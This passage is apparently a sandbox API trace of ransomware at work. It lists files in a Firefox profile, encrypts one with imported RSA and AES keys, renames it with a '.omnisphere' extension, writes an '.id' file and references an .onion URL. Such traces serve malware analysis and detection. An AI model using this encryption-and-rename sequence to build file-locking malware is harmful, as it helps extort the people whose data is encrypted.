ftLastAccessTime.dwLowDateTime=0x4079e226, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4079e226, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c0074, dwReserved1=0x2a, cFileName="WINNT_x86_64-msvc", cAlternateFileName="WINNT_~1")) returned 1 [0162.046] GetProcessHeap () returned 0x1600000 [0162.046] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xce) returned 0x1625a28 [0162.046] PathCombineW (in: pszDest=0x1625a28, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp", pszFile="WINNT_x86_64-msvc" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp\\WINNT_x86_64-msvc") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp\\WINNT_x86_64-msvc" [0162.046] GetProcessHeap () returned 0x1600000 [0162.046] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x172d188 [0162.046] PathCombineW (in: pszDest=0x172d188, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp\\WINNT_x86_64-msvc", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp\\WINNT_x86_64-msvc\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp\\WINNT_x86_64-msvc\\*" [0162.046] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp\\WINNT_x86_64-msvc\\*", lpFindFileData=0x3e0cbb0 | out: lpFindFileData=0x3e0cbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4079e226, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4079e226, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4079e226, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xb7, cFileName=".", cAlternateFileName="")) returned 0x1639568 [0162.046] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0cbb0 | out: lpFindFileData=0x3e0cbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4079e226, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4079e226, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4079e226, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xb7, cFileName="..", cAlternateFileName="")) returned 1 [0162.046] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0cbb0 | out: lpFindFileData=0x3e0cbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4079e226, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4079e226, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4079e226, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xb7, cFileName="..", cAlternateFileName="")) returned 0 [0162.047] FindClose (in: hFindFile=0x1639568 | out: hFindFile=0x1639568) returned 1 [0162.047] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp\\WINNT_x86_64-msvc\\*", lpFindFileData=0x3e0c960 | out: lpFindFileData=0x3e0c960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4079e226, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4079e226, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4079e226, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6c0075, dwReserved1=0x5c0074, cFileName=".", cAlternateFileName="")) returned 0x1639568 [0162.047] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c960 | out: lpFindFileData=0x3e0c960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4079e226, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4079e226, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4079e226, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6c0075, dwReserved1=0x5c0074, cFileName="..", cAlternateFileName="")) returned 1 [0162.047] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c960 | out: lpFindFileData=0x3e0c960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4079e226, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4079e226, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4079e226, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6c0075, dwReserved1=0x5c0074, cFileName="..", cAlternateFileName="")) returned 0 [0162.047] FindClose (in: hFindFile=0x1639568 | out: hFindFile=0x1639568) returned 1 [0162.047] GetProcessHeap () returned 0x1600000 [0162.047] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x172d188 | out: hHeap=0x1600000) returned 1 [0162.047] GetProcessHeap () returned 0x1600000 [0162.047] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1625a28 | out: hHeap=0x1600000) returned 1 [0162.047] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4079e226, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4079e226, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4079e226, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c0074, dwReserved1=0x2a, cFileName="WINNT_x86_64-msvc", cAlternateFileName="WINNT_~1")) returned 0 [0162.047] FindClose (in: hFindFile=0x1639528 | out: hFindFile=0x1639528) returned 1 [0162.047] GetProcessHeap () returned 0x1600000 [0162.047] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16f4c80 | out: hHeap=0x1600000) returned 1 [0162.047] GetProcessHeap () returned 0x1600000 [0162.047] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16f5b98 | out: hHeap=0x1600000) returned 1 [0162.048] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40c4b15, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x40c4b15, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x40c5e7c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gmp-gmpopenh264", cAlternateFileName="GMP-GM~1")) returned 1 [0162.048] GetProcessHeap () returned 0x1600000 [0162.048] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc2) returned 0x162c2b8 [0162.048] PathCombineW (in: pszDest=0x162c2b8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="gmp-gmpopenh264" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-gmpopenh264") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-gmpopenh264" [0162.048] GetProcessHeap () returned 0x1600000 [0162.048] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc6) returned 0x162c048 [0162.048] PathCombineW (in: pszDest=0x162c048, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-gmpopenh264", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-gmpopenh264\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-gmpopenh264\\*" [0162.048] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-gmpopenh264\\*", lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40c4b15, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x40c4b15, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x40c5e7c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbb, cFileName=".", cAlternateFileName="")) returned 0x1639528 [0162.049] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40c4b15, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x40c4b15, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x40c5e7c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbb, cFileName="..", cAlternateFileName="")) returned 1 [0162.049] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40c5e7c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x40c5e7c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x40e6e0c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbb, cFileName="1.6", cAlternateFileName="")) returned 1 [0162.049] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40c5e7c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x40c5e7c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x40e6e0c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbb, cFileName="1.6", cAlternateFileName="")) returned 0 [0162.049] FindClose (in: hFindFile=0x1639528 | out: hFindFile=0x1639528) returned 1 [0162.049] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-gmpopenh264\\*", lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40c4b15, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x40c4b15, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x40c5e7c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c0074, dwReserved1=0x2a, cFileName=".", cAlternateFileName="")) returned 0x1639528 [0162.049] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40c4b15, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x40c4b15, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x40c5e7c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c0074, dwReserved1=0x2a, cFileName="..", cAlternateFileName="")) returned 1 [0162.049] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40c5e7c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x40c5e7c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x40e6e0c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c0074, dwReserved1=0x2a, cFileName="1.6", cAlternateFileName="")) returned 1 [0162.049] GetProcessHeap () returned 0x1600000 [0162.049] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xca) returned 0x1625bd8 [0162.049] PathCombineW (in: pszDest=0x1625bd8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-gmpopenh264", pszFile="1.6" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-gmpopenh264\\1.6") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-gmpopenh264\\1.6" [0162.049] GetProcessHeap () returned 0x1600000 [0162.049] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xce) returned 0x1625a28 [0162.050] PathCombineW (in: pszDest=0x1625a28, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-gmpopenh264\\1.6", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-gmpopenh264\\1.6\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-gmpopenh264\\1.6\\*" [0162.050] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-gmpopenh264\\1.6\\*", lpFindFileData=0x3e0cbb0 | out: lpFindFileData=0x3e0cbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40c5e7c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x40c5e7c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x40e6e0c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xab, cFileName=".", cAlternateFileName="")) returned 0x1639868 [0162.050] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0cbb0 | out: lpFindFileData=0x3e0cbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40c5e7c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x40c5e7c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x40e6e0c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xab, cFileName="..", cAlternateFileName="")) returned 1 [0162.050] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0cbb0 | out: lpFindFileData=0x3e0cbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40c7227, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xcdbd0100, ftLastAccessTime.dwHighDateTime=0x1d1e9c5, ftLastWriteTime.dwLowDateTime=0xcdbd0100, ftLastWriteTime.dwHighDateTime=0x1d1e9c5, nFileSizeHigh=0x0, nFileSizeLow=0xd81c8, dwReserved0=0x0, dwReserved1=0xab, cFileName="gmpopenh264.dll", cAlternateFileName="GMPOPE~1.DLL")) returned 1 [0162.050] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0cbb0 | out: lpFindFileData=0x3e0cbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40e6e0c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xc7554a80, ftLastAccessTime.dwHighDateTime=0x1d1e848, ftLastWriteTime.dwLowDateTime=0xc7554a80, ftLastWriteTime.dwHighDateTime=0x1d1e848, nFileSizeHigh=0x0, nFileSizeLow=0x74, dwReserved0=0x0, dwReserved1=0xab, cFileName="gmpopenh264.info", cAlternateFileName="GMPOPE~1.INF")) returned 1 [0162.050] GetProcessHeap () returned 0x1600000 [0162.050] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xec) returned 0x174bb50 [0162.050] PathCombineW (in: pszDest=0x174bb50, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-gmpopenh264\\1.6", pszFile="gmpopenh264.info" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info" [0162.050] StrStrW (lpFirst=".omnisphere", lpSrch=".info") returned 0x0 [0162.050] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0162.065] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x3e0c8d8 | out: lpFileSize=0x3e0c8d8*=116) returned 1 [0162.065] GetTickCount () returned 0x116840c [0162.065] GetTickCount () returned 0x116840c [0162.065] GetTickCount () returned 0x116840c [0162.065] GetTickCount () returned 0x116840c [0162.066] GetTickCount () returned 0x116840c [0162.066] GetTickCount () returned 0x116840c [0162.066] GetTickCount () returned 0x116840c [0162.066] GetTickCount () returned 0x116840c [0162.066] GetTickCount () returned 0x116840c [0162.066] GetTickCount () returned 0x116840c [0162.066] GetTickCount () returned 0x116840c [0162.066] GetTickCount () returned 0x116840c [0162.066] GetTickCount () returned 0x116840c [0162.066] GetTickCount () returned 0x116840c [0162.066] GetTickCount () returned 0x116840c [0162.066] GetTickCount () returned 0x116840c [0162.066] GetTickCount () returned 0x116840c [0162.066] GetTickCount () returned 0x116840c [0162.066] GetTickCount () returned 0x116840c [0162.066] GetTickCount () returned 0x116840c [0162.066] GetTickCount () returned 0x116840c [0162.066] GetTickCount () returned 0x116840c [0162.066] GetTickCount () returned 0x116840c [0162.066] GetTickCount () returned 0x116840c [0162.066] GetTickCount () returned 0x116840c [0162.066] GetTickCount () returned 0x116840c [0162.066] GetTickCount () returned 0x116840c [0162.066] GetTickCount () returned 0x116840c [0162.066] GetTickCount () returned 0x116840c [0162.066] GetTickCount () returned 0x116840c [0162.066] GetTickCount () returned 0x116840c [0162.066] GetTickCount () returned 0x116840c [0162.067] CryptAcquireContextW (in: phProv=0x3e0c360, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0c360*=0x1668e78) returned 1 [0162.068] CryptImportKey (in: hProv=0x1668e78, pbData=0x3e0c2c8, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c36c | out: phKey=0x3e0c36c*=0x16395e8) returned 1 [0162.068] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0c818*, pdwDataLen=0x3e0c35c*=0x75, dwBufLen=0x80 | out: pbData=0x3e0c818*, pdwDataLen=0x3e0c35c*=0x80) returned 1 [0162.068] CryptDestroyKey (hKey=0x16395e8) returned 1 [0162.068] CryptReleaseContext (hProv=0x1668e78, dwFlags=0x0) returned 1 [0162.069] CreateFileMappingW (hFile=0x388, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x74, lpName=0x0) returned 0x3b4 [0162.069] MapViewOfFile (hFileMappingObject=0x3b4, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x74) returned 0x1480000 [0162.069] CryptAcquireContextW (in: phProv=0x3e0c350, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0c350*=0x1668bd0) returned 1 [0162.070] CryptImportKey (in: hProv=0x1668bd0, pbData=0x3e0c308, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c360 | out: phKey=0x3e0c360*=0x1639568) returned 1 [0162.070] CryptSetKeyParam (hKey=0x1639568, dwParam=0x4, pbData=0x3e0c344*=0x2, dwFlags=0x0) returned 1 [0162.070] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0c34c*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0c34c*=0x10) returned 1 [0162.070] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.070] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.070] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.070] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.070] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.070] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.070] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.070] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.070] CryptDestroyKey (hKey=0x1639568) returned 1 [0162.070] CryptReleaseContext (hProv=0x1668bd0, dwFlags=0x0) returned 1 [0162.070] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x74, lpNewFilePointer=0x0, dwMoveMethod=0x3e0c8cc | out: lpNewFilePointer=0x0) returned 1 [0162.070] WriteFile (in: hFile=0x388, lpBuffer=0x3e0c380*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0c8e0, lpOverlapped=0x0 | out: lpBuffer=0x3e0c380*, lpNumberOfBytesWritten=0x3e0c8e0*=0x524, lpOverlapped=0x0) returned 1 [0162.072] GetProcessHeap () returned 0x1600000 [0162.072] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2fc) returned 0x174d4c8 [0162.072] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info.omnisphere")) returned 1 [0162.073] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info.omnisphere.id" [0162.073] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0162.077] WriteFile (in: hFile=0x398, lpBuffer=0x3e0c380*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0c368, lpOverlapped=0x0 | out: lpBuffer=0x3e0c380*, lpNumberOfBytesWritten=0x3e0c368*=0x524, lpOverlapped=0x0) returned 1 [0162.078] CloseHandle (hObject=0x398) returned 1 [0162.079] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0162.079] CloseHandle (hObject=0x3b4) returned 1 [0162.079] SetEndOfFile (hFile=0x388) returned 1 [0162.079] FlushFileBuffers (hFile=0x388) returned 1 [0162.090] CloseHandle (hObject=0x388) returned 1 [0162.090] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-gmpopenh264\\1.6") returned 1 [0162.090] GetProcessHeap () returned 0x1600000 [0162.090] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x174db00 [0162.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 